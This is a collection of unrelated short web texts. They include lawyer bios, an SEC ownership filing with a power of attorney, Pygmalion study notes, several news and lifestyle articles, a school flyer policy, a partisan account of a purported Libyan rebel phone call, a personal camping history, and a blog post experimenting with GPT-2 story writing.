KENNETH P. KULA is a trial attorney with Buether Joe & Carpenter LLC. He has more than 20 years of experience representing individuals and companies in complex litigation involving intellectual property, such as patents, copyrights, trademarks, and trade secrets. Mr. Kula also practices in the areas of technology law and general litigation. He has represented clients, as plaintiff and defendant, and has tried both bench and jury trials in state or federal court in various courts throughout the United States. Mr. Kula has served as an adjunct professor at Washburn University School of Law, where he taught courses on patent law and intellectual property. He is active in the National Institute for Trial Advocacy and will be teaching at its upcoming Building Trial Skills program at Southern Methodist University. Mr. Kula also served as an ethics investigator for his local bar association. He has been invited to speak by various organizations on a variety of topics, including intellectual property litigation, copyright law and the construction industry, ethics, and electronic discovery. Mr. Kula is admitted to practice law in Texas, Missouri, Kansas, and Nebraska. He has been admitted to practice before the U.S. Court of Appeals for the Federal Circuit and before various federal district courts. Mr. Kula is, or has been, a member of the Intellectual Property Owners Association (IPO) and various state, city and other local bar associations. He earned his B.S. degree from St. John Fisher College and his J.D. degree, cum laude, from Washburn University School of Law.
KAREN TOBIN is an attorney with SmithAmundsen LLC. Her exposure as a corporate liaison to three outside law firms in dealing with company formations, commercial lease negotiations, and working with governmental organizations relating to planning and development of real estate, intrigued her so much that she decided to become an attorney herself. Today, Ms. Tobin is a knowledgeable and respected attorney, assisting small and mid-sized companies in the areas of business formation, reorganization, and corporate maintenance. Ms. Tobin has immeasurable experience in maintaining business entity client files for corporations, limited liability companies and partnerships. She routinely assists clients in the formation of new business entities, raising of capital through Regulation D and Regulation A, preparation of private placement memoranda and associated agreements, and is very familiar with the filing process of the Illinois Secretary of State, the Internal Revenue Service, and the Illinois Department of Financial and Professional Regulation. Ms. Tobin has in-depth knowledge and experience with not for profit corporate formation and qualification of tax exempt status with the Internal Revenue Service for both 501(c)(3) and 501(c)(4) organizations. She is instrumental in qualifying organizations for Women Business Enterprise Certification, Minority Business Enterprise Certification, and Disadvantaged Business Certifications as well as annual recertification’s. Ms. Tobin has experience in small claims contract litigation, shareholder dispute settlement negotiation, and litigation involving breaches of fiduciary duty and fraudulent conveyance. Prior to her legal career, Ms. Tobin served as development director for a commercial and residential development company. She was directly responsible for the initial start-up of new residential and commercial developments, commercial leasing efforts, and monitoring advertising and promotional efforts. Included in her responsibilities were site selection, pro-forma analysis and due diligence, rezoning, as well as proposal submissions to the City of Chicago of Requests for Qualifications (RFQs) and Requests for Proposals (RFPs) in the planned unit development process. Ms. Tobin received her B.S. degree from Indiana University and her J.D. degree from Loyola University School of Law.
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INITIAL STATEMENT OF BENEFICIAL OWNERSHIP OF SECURITIES
Rolfe Lindsey
C/O ATRECA, INC., 500 SAGINAW DRIVE
REDWOOD CITY CA 94063
2. Date of Event Requiring Statement (Month/Day/Year)
08/22/2019 3. Issuer Name and Ticker or Trading Symbol
Atreca, Inc. [ BCEL ]
4. Relationship of Reporting Person(s) to Issuer
Table I - Non-Derivative Securities Beneficially Owned
2. Amount of Securities Beneficially Owned (Instr. 4)
Table II - Derivative Securities Beneficially Owned
3. Title and Amount of Securities Underlying Derivative Security (Instr. 4)
No securities are beneficially owned.
/s/ Courtney Phillips, attorney-in-fact 08/22/2019
Know all by these presents, that the undersigned hereby constitutes and appoints
each of John A. Orwin, Herbert Cross, Courtney Phillips, Michael Tenta, and
Danielle Naftulin, signing individually, the undersigned's true and lawful
attorneys-in fact and agents to:
(1) execute for and on behalf of the undersigned, in the undersigned's capacity
as an officer, director or beneficial owner of more than 10% of a registered
class of securities of Atreca, Inc. (the "Company"), Forms 3, 4 and 5 (including
any amendments thereto) in accordance with Section 16(a) of the Securities
Exchange Act of 1934, as amended (the "Exchange Act") and the rules thereunder
and a Form ID, Uniform Application for Access Codes to File on EDGAR;
(2) do and perform any and all acts for and on behalf of the undersigned that
may be necessary or desirable to execute such Forms 3, 4 or 5 or Form ID
(including any amendments thereto) and timely file such forms with the United
States Securities and Exchange Commission and any stock exchange or similar
authority; and
(3) take any other action of any nature whatsoever in connection with the
foregoing which, in the opinion of such attorney-in-fact, may be of benefit, in
the best interest of, or legally required
by, the undersigned, it being
understood that the documents executed by such attorney-in-fact on behalf of the
undersigned pursuant to this Power of Attorney shall be in such form and shall
contain such terms and conditions as such attorney-in-fact may approve in such
attorney-in-fact's discretion.
The undersigned hereby grants to each such attorney-in-fact full power and
authority to do and perform any and every act and thing whatsoever requisite,
necessary or proper to be done in the exercise of any of the rights and powers
herein granted, as fully to all intents and purposes as the undersigned might or
could do if personally present, with full power of substitution or revocation,
hereby ratifying and confirming all that such attorney-in-fact, or such
attorney-in-fact's substitute or substitutes, shall lawfully do or cause to be
done by virtue of this power of attorney and the rights and powers herein
granted. The undersigned acknowledges that the foregoing attorneys-in-fact, in
serving in such capacity at the request of the undersigned, are not assuming,
nor is the Company assuming, any of the undersigned's responsibilities to comply
with Section 16 of the Exchange Act.
This Power of Attorney shall remain in full force and effect until the earliest
to occur of (a) the undersigned is no longer required to file Forms 3, 4 and 5
with respect to the undersigned's holdings of and transactions in securities
issued by the Company, (b) revocation by the undersigned in a signed writing
delivered to the foregoing attorneys-in-fact or (c) as to any attorney-in-fact
individually, until such attorney-in-fact is no longer employed by the Company
or Cooley LLP.
IN WITNESS WHEREOF, the undersigned has caused this Power of Attorney to be
executed as of August 21, 2019.
/s/ Lindsey Rolfe
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Pygmalion, Essential Revision Notes
© irevise.com 2016.
All revision notes have been produced by mockness ltd for irevise.com.
Pygmalion by George Bernard Shaw 4
Context 4
Summary 5
Professor Henry Higgins 6
Eliza Doolittle 6
Colonel Pickering 6
Alfred Doolittle 7
Mrs. Higgins 7
Freddy Eynsford Hill 7
Important Quotations Explained 9
Pygmalion by George Bernard Shaw
Born in Dublin in 1856 to a middle-class Protestant family bearing pretensions to nobility (Shaw's embarrassing alcoholic father claimed to be descended from Macduff, the slayer of Macbeth), George Bernard Shaw grew to become what some consider the second greatest English playwright, behind only Shakespeare. Others most certainly disagree with such an assessment, but few question Shaw's immense talent or the play's that talent produced.
Shaw died at the age of 94, a hypochondriac, socialist, anti-vaccinationist, semi-feminist vegetarian who believed in the Life Force and only wore wool. He left behind him a truly massive corpus of work including about 60 plays, 5 novels, 3 volumes of music criticism, 4 volumes of dance and theatrical criticism, and heaps of social commentary, political theory, and voluminous correspondence. And this list does not include the opinions that Shaw could always be counted on to hold about any topic, and which this flamboyant public figure was always most willing to share.
Shaw's most lasting contribution is no doubt his plays, and it has been said that ‘a day never passes without a performance of some Shaw play being given somewhere in the world’. One of Shaw's greatest contributions as a modern dramatist is in establishing drama as serious literature, negotiating publication deals for his highly popular plays so as to convince the public that the play was no less important than the novel. In that way, he created the conditions for later playwrights to write seriously for the theatre.
Of all of Shaw's plays, Pygmalion is without the doubt the most beloved and popularly received...
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Creationists Rent Billboard to Send Message to Young Earth Doubting Liberals
By: Tamar Auber
Passers-by in Times Square this holiday season (or at least those that look up at the right time) will be treated to a special message from Ken Ham and his fellow young creationists.
Upset about the bashing of their Noah’s Ark theme park in Kentucky, they have rented out digital billboard space on top the Disney Store in New York City.
Ham said that the billboards aim to stop the liberal myth-making about the earth being older than 6000 years and claims that a new Noah’s Ark park doesn’t deserve public monies.
“The irony is that as secularists are criticizing the Ark project and relegating Noah’s Ark to a myth, they are passing around their own Ark myths,” said Answers in Genesis president Ken Ham said. “These agitators (most of them outside the state) are trying to undermine the Ark Encounter by spreading misinformation and putting pressure on Kentucky officials to reject an offer of a partial refund of future sales tax collected at the finished theme park (if the park sees excellent attendance and brings in significant tourism dollars to the state).”
Closer to home, Answers in Genesis has also rented out similar billboard space in Kentucky with the message, “To All Our Intolerant Liberal Friends: You Can’t Sink This Ship.”
The digital message in Times Square (which can be viewed below) offers a similar message and ends with a note saying the “Life-Sized Ark” will be coming in 2016.
The adverts are expected to run over 600 times a day through the New Year.
Photo Credit: Screenshot
Tamar is a New York based freelance writer and photographer whose work has appeared in over 15 publications. You can catch her work regularly on Issue Hawk, Latest, Jspace, and MediaGlobal.
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Thank You Orlando & Florida Music Festival!
What an action packed night it was performing 2 back-to-back shows in Orlando during the Florida Music Festival!
Our first show at the legendary Cheyenne Saloon & Opera House was like stepping into a piece of history. Originally built for touring acts like Willie Nelson and Dolly Parton, the 3-story all wood theatre was one of our favourite venues and places to play to date. To be able to perform on a stage with such history was a truly incredible experience.
BIG <3 to our friend Jaimie Marie for coming out and taking the photos! We had a blast performing FMF along with Irish Shannon after. Can't wait to return to Orlando very soon
in Shows, Events, Festivals
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Current: Rumble: Down In The Dirt With The Rest Of Us [Close Read]
Rumble: Down In The Dirt With The Rest Of Us [Close Read]
Arcudi and Harren only allow us to view the sublime through the lens of the mundane. This shows us just how frightening being in the presence of the divine can be, but also what it's like when you yank otherworldly creatures directly from their high fantasy environs and pull them down into the weeds with the rest of us. The juxtaposition of the two is both chilling, as you see when characters are left speechless with fear in the face of unending horrors, and funny, when you realize that these creatures aren't going to have any of the usual majesty you might expect from a fantasy tale.
This version of Earth is populated by humans like our focal character Bobby. Bobby is a bartender who has no idea how to get out of his own way and ask a woman out on a date, but plenty of ideas on why the man she's currently dating is wrong for her. While he's easy to mock, Bobby is very human, too. We know what unrequited love—or maybe just an idle crush—is like, and we know how it feels to want to measure up to someone else.
That's human drama, and Arcudi and Harren lean on it for juice. Bobby isn't written or drawn like a troll of a man or someone you'd want to avoid when you spot him coming down the street. He looks like a regular dude. Harren draws him with big ears, a dopey smile, and an even dopier angry face. So while you scoff at first glance, you recognize Bobby. You know people like him or you might have a little Bobby in you yourself.
And then: the sublime, fallen to Earth and subject to the mundane. A warrior god invades Bobby's bar and attacks a patron with a giant sword. Bobby, desperate, grabs a baseball bat and knocks the warrior god's head clean off. It's possibly the most mundane way to take down a supernatural creature. Swords, knives, staves, and even fists can have mythological qualities in the right situation, but a baseball bat? It doesn't get more human than that.
RUMBLE is full of the mundane pulling the sublime right out of its rightful majesty and down into the muck with us normal folk. Demons perch on payphones when they menace their prey. Monsters lurk within our pets, turning the cute into the monstrously cute. Otherworldly warriors smoke and drink in bars, long past their prime but still eager to savor life down in the dumps. Secret, ancient scripts hide not magical prophecies but...well. I'll let you discover it. It's too good to spoil.
If you're looking for a comic that's gritty, but not grim, and fantastic, but not steeped in the usual genre tropes, RUMBLE is the one. It drags gods to Earth and forces them to live like us, and it puts humans directly in their path, just to see what'll happen.
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Watches Of Switzerland Debuts Artwork By Marco Brambilla At Hudson Yards
Haute Scene, Haute Time, News
by Paige Mastrandrea
David Hurley and Marco Brambilla
Photo Credit: BFA
At the beginning of March, esteemed watch retailer Watches of Switzerland opened its doors to its newest, gorgeous boutique at the brand-new Hudson Yards retail center. The stunning ground-floor boutique spans 6,500 square-feet and features some of the finest timepieces in the world from brands including Breitling, Bremont, Grand Seiko, Hublot, IWC Schaffhausen, Jaeger-LeCoultre, Longines, OMEGA, TAG Heuer, TUDOR and Vacheron Constantin and also manages neighboring Patek Philippe and Rolex boutiques on each side. Now, the cutting-edge retailer has added another pinnacle factor to its already impressive offerings—a groundbreaking new artwork design by artist Marco Brambilla—an immersive video entitled Crystal Observatory.
Watches of Switzerland Hudson Yards Debuts Crystal Observatory by Marco Brambilla
The one-of-a-kind video takes viewers on a journey through the inside of an impossibly intricate crystalline structure that is constantly in flux—similar to the incredible complications of each of the covetable timepieces offered in the store.
On his inspiration for the video, Brambilla explains, “Crystal Observatory is a virtual sculpture that would be impossible to execute in the physical world. It is made of computer-stimulated crystal carved into geometric patterns that become increasingly complex as we rise to the top of the monumental structure.”
“The crystal’s capacity for almost infinite reflection creates the impression of being inside a kaleidoscopic world where light and movement are the only reference points. I was inspired by cubism and early light artists like Julio Le Parc and wanted to create a visual composition which is pure in abstraction using only the refraction of light. A composition where patterns emerge from movement, light and color, in much the same way they would a cubist painting,” he concluded.
Brendan Fallis
The awe-inspiring video will attract viewers of the boutique and encourage creativity, wonder and an appreciation for some of the most beautiful and complex things in life. It adds a touch of culture to the overall shopping experience, which also includes a gorgeous in-boutique bar, personalized customer care, boutique activations and so much more.
It was important for the watch retailer to incorporate creativity and art into the boutique, as the brand has been a champion of the arts since its inception and holds it as a cornerstone of its rule-breaking approach to U.S. retail—which in turn, has helped it stand out from its competitors as a unique, all-encompassing boutique experience. The brand first dipped its toes in the arts with Watches of Switzerland’s Soho flagship, through collaboration with non-profit foundation, Aperture. This new partnership with Brambilla gives the Hudson Yards boutique its own unique identity.
Stacey Jones and Scott Fishkind
The grand debut of his work inside the boutique was nothing less than elegant and extraordinary, bringing forth a wonderful cultural masterpiece and attracting notable attendees like Executive VP of Watches of Switzerland David Hurley, Managing Partner of the Foundry Companies Scott Fishkind, fashion artist Pari Ehsan , DJ Brendan Fallis, influencer Lainy Hedaya and so many more—to show up and view the masterpiece in person.
Pari Ehsan
The Marco Brambilla video exhibition will remain on display in the Hudson Yards boutique throughout the Spring season for guests to come view and enjoy. For more information including store hours, please visit here.
Sarah Jessica Parker Stars In Lingerie Brand Campaign For
By Deyvanshi Masrani
Real Estate Developer Rick Caruso Discusses His First Foray
By Laura Schreffler
Offset Debuts First Capsule Collection During PFW
Grab Your Tickets To Mingle With Hall Of Famers And
By Andres E. Caceres
Behind The Scenes: What You Missed At The 2020 Golden
Celebrity Sightings: Ayesha and Stephen Curry, Lady Gaga,
By Chanelle Hayes
Talking Style + Substance With One Of The NBA’s Most
Virgil Abloh Debuts Reinterpreted Suiting For Louis
Take A Sneak Peek At The Beverly Hilton’s $35 Million,
Talking Style + Substance With One Of The NBA’s Most Fashionable Players, Rudy Gay
Join Ray Lewis At The Seminole Hard Rock Hollywood For “The Century Celebration”
Virgil Abloh Debuts Reinterpreted Suiting For Louis Vuitton Men FW20-21 Paris Show
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Home/Schools/Distribution of Materials to Schools/
The Halton District School Board allows limited distribution of flyers, posters, brochures, displays from non-profit and/or not-for-profit (NFP) organizations, subject to approval.
This service is offered as a courtesy and is at the discretion of the Board or through HDSB school principals.
Distribution of public materials must be pre-approved by the Board or School Principal (Board designate).
Electronic distribution of information/material is preferred. Many schools are certified Ontario Eco-Schools and have paperless/waste-reduction goals. Check with schools before producing printed materials.
Distribution requests for ALL schools
must be submitted to Director's Office (JW Singleton Centre) for pre-approval
NFP organizations must provide a PDF or other electronic version of materials to Director's Office for review
valid charitable organization registration number OR proof of non-profit/not-for-profit status must accompany materials
approved organizations will be contacted via email with authorization to contact and send/deliver materials directly to schools
Distribution requests for SPECIFIC schools
must be submitted to school Principal(s) as Board's designate for pre-approval
distribution of materials will be at discretion of school Principal
contact information for school can be found on the school listings
NFP organizations must provide a PDF or other electronic version of materials to specific school principal for review
Reminders:
Materials approved for distribution DO NOT suggest support or endorsement by the Halton District School Board or its staff.
The Halton District School Board name and/or logo MUST NOT be used on any materials or supporting materials.
Any costs incurred with regard to the materials are not the Board's responsibility.
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This intercepted phone call is a dispute between a Misurati rebel leader and the NTC's Military spokesman, Colonel Ahmed Bani, showing numerous rebel's lies & hypocrisy. It confirms several facts:
- They talk about the presence of U.S & French troops within Misurata and Tripoli, and they are clearly admitting that foreign troops engaged in the attack & occupation of Tripoli, and are still there.
- A major conflict between the Misurata brigade and the NTC in Benghazi, about how the Misurata brigade is perceived by Benghazi, the minimizing of its role in the fights. The Misurati commander seems really tired of hearing the Military spokesman gloating on TV & in the news, talking about a so-called new National Army, while they are being crushed by Gaddafi troops, without the help of Benghazi. He says “Your So-called National Army has been totally crushed at Dafniya by Gaddafi troops, and they took all the weapons and armoured vehicles. There is no National Army anymore. Where is your National army in Sirte? Are you talking about those waiting outside parading for TV & photographs? A Commander like you should come to the battleground, not go parading on TV! Stop acting like the Americans & French, like Sarkozy parading while the war is still ongoing in the country. Come to the battleground! ”
- Ahmed Bani, The NTC’s Spokesman, answer him about the psychological operation & aims for his use of the word “New National Army”, he says that the whole world is fearing a guerrilla situation in Libya, fearing Al Qaeda and fratricide fights between the different factions. The international community must not see the Libyan rebels as a bunch of different factions, militias and brigades, so he uses the word “Libyan Army” to pretend that Libya is ok, that the situation is under control, and that there are only small pockets of pro-Gaddafi fighters to defeat. So they try to convince the US, UK and France that a Libyan army is under construction, blablabla...
- The Misurati commander stop him, telling him that the US & French are very well informed about the situation on the ground, since they are with them on the ground. They where in Tripoli during the assault, and they are still there. He says in his own brigade only, there is a foreign intel. group of 12 US spec ops, and 6 French (spies?), they are giving all the info, through internet & press (?). So the situation is quiet clear for them, no need to pretend there is a new Libyan army.
- A dispute over the weapons & “troops” or “mercenaries” from Qatar. “Where are the weapons from Qatar, where are the troops when we need them?”, says the Misurati rebel. The deficiency of backing troops and weapons from Benghazi, while they have given them 150 millions (?) for it- The Misurati commander says that they didn’t get the weapons they were promised while they know they are in Benghazi. He swears that each of those in Benghazi who betrayed the Misurata brigade will pay the hard price and that the ‘revolution’ will succeed with or without them. He says that even if colonel Bani pretend he didn’t betrayed, he need to fix the situation, and give what they promised to Misurata brigade, as he’s in power.
- The Misurati commander says that Benghazi owe them money and respect for the Misurata ‘martyrs’, the wounded and amputations (?), for all what they have done, including destroying the Gaddafi army in Misurata and areas “ Think about the armies we destroyed, Man, we destroyed 16 battalions in Misurata, there are MASS GRAVES of Gaddafi soldiers, but we are not supposed to talk about it. Who destroyed them? And you are talking about a National army?! Where is your National army of Benghazi? We are taking major casualties right now. Ambulances and planes are full of our casualties; hospitals are full of Misuratan rebels! Where is the help coming from Qatar? Where are the weapons coming from Qatar? You guys are excluding us from Libya like if we were Bangladesh. You are doing worse than Gaddafi, forgetting us and putting us apart”
Colonel Ahmed Bani 'NATO', NTC's Military Spokesman
Source https://twitter.com/#!/MuammarLGaddafi/status/115408340133220352
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Students at Kainos AICamp learn new AI techniques with Amazon Web Services DeepRacer
Birmingham and Belfast events educate students on cutting-edge approaches, by developing algorithms for a self-driving AI-powered model race car
Birmingham and Belfast, UK, 23rd September 2019 – Kainos, a leading provider of digital services and platforms, has given 45 university students the opportunity to learn cutting-edge AI techniques, including reinforcement learning using AWS. As part of Kainos A.I.Camp, 45 students were given an early preview of the AWS DeepRacer – a fully autonomous 1/18th scale race car driven by reinforcement learning. Students were given a theoretical introduction to reinforcement learning and shown how to write and train an algorithm for AWS DeepRacer. After creating and training their own models, the students then competed in the AWS DeepRacer League by racing the model car around its track.
Kainos A.I.Camp is for undergraduates with an interest in AI, and events are held annually in both Birmingham and Belfast in August and September each year. The camp gives students the chance to experience practical scenarios and learn how AI can be used to benefit everyday lives, and concludes with a 12-hour hackathon. At both events this year, a full day was dedicated to AWS DeepRacer, offering a highly practical way for students to gain an in-depth understanding of emerging AI techniques, covering theory, use cases and hands-on training. As a result, students were able to develop and deploy their own reinforcement learning models onto the AWS DeepRacer.
Reinforcement learning is an advanced machine learning technique, which can allow machines to ‘learn’ complex behaviours without requiring labelled training data. It involves making decisions about the ‘best possible’ action it should take in a specific situation. The AWS DeepRacer League is the world’s first global autonomous racing league, and is open to all. It involves monthly Virtual Circuit races, as well as in-person Summit Circuit race events worldwide.
“AWS DeepRacer is an interesting and fun way to get started with reinforcement learning,” said Neil Mackin, Tech Business Development, Amazon Web Services. “The AWS DeepRacer League gives developers of all skill levels the chance to meet fellow AI and machine learning enthusiasts, both online and in-person, and to share ideas and insights. At AWS, we want to provide an environment that fosters innovation and education amongst young developers, coders and algorithm writers. Kainos is a member of the AWS Partner Network that shares this goal, and the Kainos A.I.Camp is an excellent opportunity to showcase the AWS DeepRacer to a keen audience.”
“We’re grateful to AWS for allowing us to showcase the AWS DeepRacer during our A.I.Camp – it gives students the chance to engage with AI in a tangible way, by showing them how an algorithm capable of driving a car can be built in a matter of hours,” said Gemma Crothers, CSR Manager at Kainos. “Our partner ecosystem allows us early access to the technologies of the future, today and we’re delighted to share this with the next generation. We are confident that our attendees can now go on to apply these newly-learned AI skills to have a real-world impact.”
Kainos A.I.Camp is part of the Kainos Academy, which provides a series of initiatives including CodeCamp and A.I.Camp, alongside Earn as you Learn placements and apprenticeships designed to equip the next generation with skills for life. For more information on future events, please visit our website, or chat to us on Twitter.
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Stay tuned for future events!
Kainos in the News
A fresh approach to smart cities
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Gov Tech Leaders
How to improve public services and how govtech can enable this
Verdict AI
Training the next generation of AI Experts
The UK IT Awards 2018 – and the winners are…
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Muriel Kauffman Theatre
1601 Broadway Kansas City, MO 64108 816.421.7500
Directions Call
Theatre Website
Hearing Assistance: Yes
Capacity: 1800
The Kauffman Center fully complies with all disability requirements of both the city of Kansas City Missouri and the Americans with Disabilities Act.
Two drop-off areas allow guests to easily access the center: one on 16th Street to the north, another from the private drive just south of the building.
Handicapped parking slots in the south garage will be close to building access points; pathways will be obvious, well-marked and ample.
Several elevators in the Brandmeyer Great Hall make the center fully accessible.
Both performance halls have seating that does not require the use of stairs. Both have seating areas in varying locations and at multiple ticket price levels reserved for patrons using wheel chairs. Each wheel chair position has a companion seat available.
The Muriel Kauffman Theatre will present a diversity of entertainers and performances from around the world, including pop and country entertainers, Broadway productions, comedy shows, and more. The Kauffman Theatre will also be the performance home of the Kansas City Ballet and Lyric Opera of Kansas City. The 1,800-seat venue is designed to be visually striking, yet retain an intimate experience for both audiences and performers. Inspired by the great opera houses of Europe, audiences are seated in a vineyard-style, semicircle configuration facing the stage—bringing them closer to the performers than in traditional auditorium-style proscenium venues.
Hotel Phillips
Sabates Eye Center
Municipal Auditorium Music Hall See on Map
816.421.7500 Reach Municipal Auditorium Music Hall by Phone
Roald Dahl’s Charlie and the Chocolate Factory
#BroadwayKC
TopicSeason Subscriber
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Dr Zagami has a great love of the wilderness and outdoors, enjoying hiking, camping and survival activities.
Dr Zagami went car camping in New South Wales, Victoria and Tasmania from the 28th of December 2012 to the 13th of January 2013 with Debbie and Edelweiss, travelling to Woolgoogla, Nambucca Heads, Crescent Head, Coopernook State Forest, Toukley, Norah Head and The Entrance, Rouse Hill, Sydney, Kiama, Moruya, Eden, Lakes Entrance, Seaspray, Golden Beach, Snowy Mountains, Quarries rock pool, Victoria Falls, Mt Hotham, Wangaratta, Lake Nillahcootie, Mansfield, Cathedral and Yarra Ranges, Warburton, Phillip Island, Portsea, Mornington Peninsula, Melbourne, Devonport, Bernie, Zeehan, Strahan, Queenstown, New Norfolk, Geevston, Tahune Forest, Arve River, Southport, Bruny Island, Adventure Bay, Cloudy Bay, Hobart, Salamanca dock, the MOMA, Sorell, Swansea, Bicheno, Launceston, Cataract Gorge, Beaconsfield, Devonport, Gillenbah, Parkes, Siding Springs, Tamworth, Port Macquarie, and Byron Bay.
Tasmania Road Trip 2012
Dr Zagami went campervanning around central Australia from the 6th to the 16th of April, 2012 with Debbie and Edelweiss, travelling to Lightning Ridge, Broken Hill, Woomera, Coober Pedy, Ayers Rock, Alice Springs, Tennant Creek, Mt Isa, Winton, Charleville and Cunnamulla.
Central Australia Road Trip 2012
Dr Zagami went car camping in New South Wales from the 16th of December 2009 to the 28th of December 2009 with Debbie, travelling to: Byron Bay, Broken Head, Lake Ainsworth (Lenox Head), Coffs Harbour, South West Rocks, Bulahdelah, Smiths Lake (Great Lakes), Newcastle, Wangi Point (Lake Macquarie), Blue Mountains, Jenolan Caves, Narabeen (Birdwood Park), and Kirribilli (Sydney).
Dr Zagami went 4x4 camping on Stradbroke Island in 2004 with Debbie, visiting Dunwich, Brown Lake, Blue Lake, the North Stradbroke Island Track, Fishermans Road, Point Lookout, and Amity Point.
Dr Zagami went 4x4 camping in the Great Sandy National Park in 2003 with Debbie, visiting Lake Cootharabah, Lake Cooroibah, Harry's Hut, Rainbow Beach, and Teewah.
Dr Zagami went 4x4 camping on a trip to Daintree in 2002 with Debbie, visiting Yeppoon, Capricorn Caves, Cathedral caves, Airlie Beach, Hamilton Island, Cairns, Kuranda (skyrail and scenic railway), Port Douglas, Daintree National Park, Cape Tribulation, the Atherton Tablelands, Crater Lake, Josphene falls, Paronella Park, and Townsville.
Dr Zagami is a Duke of Edinburgh Award coordinator and in 2002, 2003, 2004, 2005 and 2006, conducting weekend training and award camps at Mt Crosby Weir, Allawah Scout Campsite, Kholo Hills, and Blackwall.
Dr Zagami completed three Outward Bound Australia school programs in 1999, 2000 and 2001, each involving 12 day expeditions in the Bellthorpe State Forest and Lake Somerset.
Dr Zagami went hiking at Mt Warning in 1999 with friends.
Dr Zagami went camping at Tyalgum in 1997 and 1998 supporting school leadership camps, establishing extensive orienteering courses and navigation trails.
Dr Zagami hiked on Moreton Island in 1992 while completing an army Scuba Diving certification at the Tangalooma Wreaks Dive Site.
Dr Zagami organised a hike of the Border Trail in 1991 for 1 Div Int Coy adventure training from O'Reilly's to Binna Burra, preparing a 30 page operational plan to conduct the training that addressed every conceivable contingency.
Dr Zagami became an officer in the Australian Army Reserve in 1989 and transferred to the Inactive Reserve in 2008. During these 20 years he completed at least one 14 day camp each year and on average a dozen weekend activities. These occurred at Enoggera, Wacol, Tin Can Bay, Shoalwater Bay, the Canungra Land Warfare Centre, Puckapunyal, Duntroon, Moreton Island, across Northern Australia, Darwin, and Hawaii.
Dr Zagami went bush camping in Girraween National Park in 1989 with friends.
Dr Zagami went car camping in NSW in 1988 with a friend, driving to Sydney and back.
Dr Zagami went camping at Binna Burra in 1987 with friends.
Dr Zagami hiked the Border Trail in 1987 with a friend from O'Reilly's to Binna Burra.
Dr Zagami went bush camping in northern NSW in 1987 with a friend, hiking from Mt Cougal, down to the Tweed River, Murwillumbah, and then back to the Gold Coast.
Dr Zagami entered officer training with the Queensland University Regiment (QUR) in 1987, graduating in 1989. During this time he completed two 14 day camps each year and many weekend camps, at Wacol, Green Bank, Tin Can Bay, and Shoalwater Bay.
Dr Zagami went bush camping on Moreton Island in 1986 with a friend, travelling by rail to the Port of Brisbane ferry to Tangalooma and then hiking to the desert, big and little sand hills, Rous Battery, Eagers Creek, Honeyeater Lake, Blue Lagoon, Cape Moreton, Five Hills, Bulwer, Cowan Cowan, and Ben-Ewa.
Dr Zagami went bush camping in 1985 with a friend from Binna Burra, down Ship Stern to the Tallebudgera Valley using two 3m lengths of rope to help each other down the cliff faces. A few weeks later the Layland Brothers showed how it could be done in full abseiling rig.
Dr Zagami went camping at Lake Maroon in 1985 on a Year 12 school leadership camp.
Dr Zagami went bush camping on North Stradbroke Island in 1985 with a friend, independently setting trails for younger students travelling with teachers to follow, traveling from Dunwich, Brown Lake, Blue Lake, and back to Dunwich.
Dr Zagami went camping on North Stradbroke Island in 1985 with a dozen friends, cycling from Shailer Park to Cleveland, then Dunwich to Amity Point and Point Lookout.
Dr Zagami went bush camping in the Great Sandy National Park in 1984 with his cousin, completing the Cooloola Great Walk from Harry's Hut to Rainbow Beach in record time as destructive thunderstorms wracked the township.
Dr Zagami went bush camping on North Stradbroke Island in 1984 with a friend, dropped off from Dr Zagami's parents boat opposite Russel Island, they made their way across to the ocean, crossing Eighteen Mile Swamp and hiking up to Blue Lake and Dunwich.
Dr Zagami went bush camping on North Stradbroke Island in 1984 with a dozen friends, cycling from Shailer Park to Cleveland, taking the ferry, then from Dunwich across the island via Brown Lake and Blue Lake.
Dr Zagami was in the Air Training Corp (1 Flight AIRTC (now closed) parading at Macgregor SHS) from 1983 to 1986. He attended several survival bivouacs each year at Undullah (Flinders Peak) and promotion camps at RAAF Base Amberley. He learnt advanced bush survival skills and became proficient in fieldcraft, silently raiding competing teams to acquire supplies.
Dr Zagami went camping often in the ruins of Ashton's Animal Kingdom (a derelict lion park on the site of the now Logan Hyperdome) in 1983 and 1984 with friends, conducting mock military exercises and digging cave complexes.
Dr Zagami went bush camping often in the Cornubia Forest in 1981, 1982 and 1983 with friends, setting up permanent campsites with accommodation, cooking facilities, and gardens.
Dr Zagami went bush camping in the Springbrook National Park in 1979 with his cousin, bush hiking for four days from Mt Cougal, following the border rabbit fence down to the Coolangatta airport where they found themselves on the wrong side of the fence...
Dr Zagami went bush camping in the Springbrook National Park in 1978 with his cousin, bush hiking for three days through virgin rainforest up beyond the head of Currumbin Creek, climbing from the east to the summit of Mt Cougal, then down the peaks northern side to Mt Cogal Creek (and several kilometres of lantana up to 10m deep) into the Tallebudgera Valley.
Dr Zagami went to Summer Camps run by the PCYC in 1978 and 1979 at Camp Bornhoffen in the Numinbah Valley where he learnt great ghost stories.
Dr Zagami went hiking and camping often in the Tugun Quarry and surrounds from 1975 to 1979 with friends, constructing numerous cubby houses and forts.
Dr Zagami's earliest wilderness experiences were as a Cub Scout (Tugun Pack (now closed)) attending camps in 1978 and 1979 at Camp Wollumbin (now closed), as a Nipper at the Tugun SLSC in 1979, and on primary school excursions into the Gold Coast hinterland and Coolangatta-Tweed Heads environs between 1974 and 1979.
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Tag Archives: Elon Musk
The Wordinator
“The robots are coming for your jobs”, they tell us.
“But I’m a writer!” I cry. “How could a machine create inspired works of fiction?”
OpenAI is a billion dollar artificial intelligence research group dedicated to sharing information to stop the development of dangerous technologies. In 2019 they abruptly changed their strategy after developing GPT-2, which they deemed too dangerous to unleash upon the world.
GPT-2 is a text generator so powerful that they fear it may flood social media with synthetic noise or devastate our ability to parse news from propaganda. Imagine if 9 out of 10 articles were like ‘Pizzagate’, forever.
To give the public a sense of its potential, they released a nerfed version of GPT-2 that was trained on much smaller sets of information. Will futuristic technology make the human fiction writer a thing of the past? I thought I’d take it for a spin with the service StoryAI.
I provided the opening lines, what they call the ‘story seed’. Everything after that was generated from the hobbled version of GPT-2.
Here was one of my first experiments:
(The A.I. generated this headline)
I’ll have you know that I am a troll with a body
(The A.I. chose this image)
(The human wrote)
The Shrehkt dragged its talon across the parchment, crossing another name off its list with fresh blood. It had slain Ulbrim The Invincible, the paranoid blacksmith who had worn three overlapping suits of armor. It had eliminated Laramis, the faery cutthroat who could dance on the wind and press her invisible blade to your throat as fast as you could blink. So too had the Beast of Slab Iron been culled, though it could squeeze its tendrils through fathoms of rock, snatch a fish from a falcon in flight, and pulp a war elephant in its coils.
